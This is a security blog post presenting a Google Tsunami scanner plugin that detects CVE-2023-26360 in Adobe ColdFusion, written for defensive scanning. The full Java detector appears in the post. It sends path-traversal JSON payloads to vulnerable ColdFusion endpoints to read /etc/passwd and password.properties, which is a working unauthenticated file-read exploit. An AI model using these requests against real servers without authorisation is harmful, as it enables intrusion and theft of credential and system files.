· Jimmy Ly · Vulnerabilities  · 6 min read

CVE-2023-26360: Adobe ColdFusion

A new module in Google Tsunami Security Scanner to detect a critical vulnerability in Adobe ColdFusion (CVE-2023-26360) that can lead to unauthenticated file read and arbitrary code execution.

During a knowledge sharing session, we created a new module in Google Tsunami Security Scanner to detect CVE-2023-26360 in Adobe ColdFusion. The new module can be found here.

Background

Various security scanning tool employ different methods for extending their functionality. Scanning tools like ProjectDiscovery’s Nuclei and OWASP Nettacker use easy-to-understand YAML templates, while others such as Metasploit and Google Tsunami require basic programming knowledge in Ruby and Java, respectively.

YAML-based templates offer several advantages:

  • Ease of use: They are straightforward to understand and write.
  • Accessibility: Security professionals without extensive programming experience can create and modify scans.
  • Standardization: They provide a consistent format for describing vulnerabilities.
  • Quick deployment: Templates can be rapidly developed for newly discovered, predictable vulnerabilities.

On the other hand, programming language-based plugins offer:

  • Flexibility: They allow for more complex logic and custom functionality.
  • Power: They can leverage the full capabilities of the programming language.
  • Integration: They can easily interact with other systems and libraries.
  • Extensibility: Developers can create sophisticated, multi-step scanning procedures.

While YAML templates are ideal for straightforward, predictable vulnerabilities, programming language-based plugins shine when dealing with complex security issues that require advanced logic or system interactions. The choice between these approaches depends on the specific need, the complexity of the target systems, and the desired balance between ease of use and advanced capabilities.

Google Tsunami Security Scanner

Tsunami is a Java-based network security scanning tool developed by Google’s security team aim to detect high severity vulnerabilities with high confidence. To develop plugins, you must first submit a PRP PR indicating which vulnerability you would like to develop. A Google staff would review and accept the PR and the development process can begin. Currently, the focus is on AI.

Vulnerability

CVE-2023-26360 is an improper access control vulnerability caused by deserializing untrusted data without proper validation. When an attacker crafts a malicious HTTP request to a vulnerable path with _cfclient=true in the URL, e.g.

private static final List<String> VULNERABLE_REQUEST_PATHS =
    Arrays.asList(
        "cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx",
        "CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx");

Adobe ColdFusion server invokes the convertToTemplateProxy function to deserializes the malicious JSON input supplied by the attacker. By supplying the body with the malicious JSON, an attacker can perform attacks such as code execution or arbitrary file read. E.g. Windows will grab the password.properties file while Linux will grab /etc/passwd.

/** Windows */
private static final String VULNERABLE_REQUEST_BODY_WINDOWS =
    "_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}";

/** Linux */
private static final String VULNERABLE_REQUEST_BODY_LINUX =
    "_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}";

Finally, a detection check is performed at isServiceVulnerable function which looks at a regex for both Windows and Linux for the presence of password= or root:[x*]:0:0: which exists in /etc/passwd.

private static final Pattern VULNERABLE_RESPONSE_PATTERN =
    Pattern.compile("password=|root:[x*]:0:0:");

CVE-2023-26360: Adobe ColdFusion Tsunami Plugin

/*
 * Copyright 2023 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
package com.google.tsunami.plugins.detectors.cves.cve202326360;

import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ImmutableList.toImmutableList;
import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl;
import static com.google.tsunami.common.net.http.HttpRequest.post;

import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.protobuf.ByteString;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpHeaders;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.time.Clock;
import java.time.Instant;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Pattern;
import javax.inject.Inject;

/** A {@link VulnDetector} that detects the CVE-2023-26360. */
@PluginInfo(
    type = PluginType.VULN_DETECTION,
    name = "Cve202326360VulnDetector",
    version = "1.0",
    description = "This detector checks for Adobe ColdFusion CVE-2023-26360 vulnerability",
    author = "jimmy-ly00",
    bootstrapModule = Cve202326360DetectorBootstrapModule.class)
public final class Cve202326360Detector implements VulnDetector {
  private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
  private static final List<String> VULNERABLE_REQUEST_PATHS =
      Arrays.asList(
          "cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx",
          "CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx");

  /** Windows */
  private static final String VULNERABLE_REQUEST_BODY_WINDOWS =
      "_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}";

  /** Linux */
  private static final String VULNERABLE_REQUEST_BODY_LINUX =
      "_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}";

  private static final List<String> VULNERABLE_REQUEST_BODY_ALL =
      Arrays.asList(VULNERABLE_REQUEST_BODY_WINDOWS, VULNERABLE_REQUEST_BODY_LINUX);

  private static final Pattern VULNERABLE_RESPONSE_PATTERN =
      Pattern.compile("password=|root:[x*]:0:0:");

  private final HttpClient httpClient;
  private final Clock utcClock;

  @Inject
  Cve202326360Detector(@UtcClock Clock utcClock, HttpClient httpClient) {
    this.httpClient = checkNotNull(httpClient);
    this.utcClock = checkNotNull(utcClock);
  }

  @Override
  public DetectionReportList detect(
      TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
    logger.atInfo().log("CVE-2023-26360 starts detecting.");

    return DetectionReportList.newBuilder()
        .addAllDetectionReports(
            matchedServices.stream()
                .filter(NetworkServiceUtils::isWebService)
                .filter(this::isServiceVulnerable)
                .map(networkService -> buildDetectionReport(targetInfo, networkService))
                .collect(toImmutableList()))
        .build();
  }

  private boolean isServiceVulnerable(NetworkService networkService) {
    for (String path : VULNERABLE_REQUEST_PATHS) {
      for (String payload : VULNERABLE_REQUEST_BODY_ALL) {
        String targetUrl = buildWebApplicationRootUrl(networkService) + path;
        try {
          HttpResponse response =
              httpClient.send(
                  post(targetUrl)
                      .setHeaders(
                          HttpHeaders.builder()
                              .addHeader(CONTENT_TYPE, "application/x-www-form-urlencoded")
                              .build())
                      .setRequestBody(ByteString.copyFromUtf8(payload))
                      .build(),
                  networkService);
          // System.out.println("Response Body: " + response);
          if (response.bodyString().isPresent()) {
            if (VULNERABLE_RESPONSE_PATTERN.matcher(response.bodyString().get()).find()) {
              return true;
            }
          }
        } catch (Exception e) {
          logger.atWarning().log("Failed request to target %s.", networkService);
        }
      }
    }
    return false;
  }

  private DetectionReport buildDetectionReport(
      TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
    return DetectionReport.newBuilder()
        .setTargetInfo(targetInfo)
        .setNetworkService(vulnerableNetworkService)
        .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
        .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
        .setVulnerability(
            Vulnerability.newBuilder()
                .setMainId(
                    VulnerabilityId.newBuilder()
                        .setPublisher("TSUNAMI_COMMUNITY")
                        .setValue("CVE_2023_26360"))
                .addRelatedId(
                    VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-26360"))
                .setSeverity(Severity.CRITICAL)
                .setTitle(
                    "Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution")
                .setDescription(
                    "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and"
                        + " earlier) are affected by an Improper Access Control vulnerability that"
                        + " could result in unauthenticated file read and arbitrary code execution"
                        + " in the context of the current user. Exploitation of this issue does not"
                        + " require user interaction.")
                .setRecommendation(
                    "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher"
                        + "For  Adobe ColdFusion 2021, upgrade to version Update 6 or higher"))
        .build();
  }
}

VM Lab Setup

Setting up the lab is easy with the use of docker images obtained from here.

Conclusion

Tsunami is a security scanning tool with high potential. While it offers high potential, its development process faces some challenges that may hinder its growth and adoption within the security community. The current workflow requires a PRP PR request to be accepted before developers can begin working on a new vulnerability detection plugin. While this process ensures quality control and maintains security standards, it may discourage potential contributors due to the additional bureaucratic step before actual development can commence.

The choice of Java as the primary programming language for Tsunami presents another potential barrier. Although Java is a robust and widely-used language, it may not be the preferred choice for many security researchers and developers who are more comfortable with languages like Python or Go. Popular security tools like Burp Suite, which is also written in Java, mitigate this issue by supporting extensions written in Jython (Python for Java). However, Tsunami currently lacks such flexibility. Nowadays, we are seeing tools opting to use languages with faster execution times and lower resource consumption such as Go.

MITRE ATT&CK Mapping

  • Tactics:
    • TA0001 Initial Access
  • Techniques:
    • T1190 Exploit Public-Facing Application
Back to Blog

Related Posts

View All Posts »
CVE-2023-46805: Ivanti Connect Secure (ICS)

CVE-2023-46805: Ivanti Connect Secure (ICS)

A new module in OWASP Nettacker to detect the presence of a critical vulnerability in Ivanti Connect Secure (ICS) (CVE-2023-46805) that can lead to authentication bypass which is typically chained with a command injection vulnerability (CVE-2024-21887).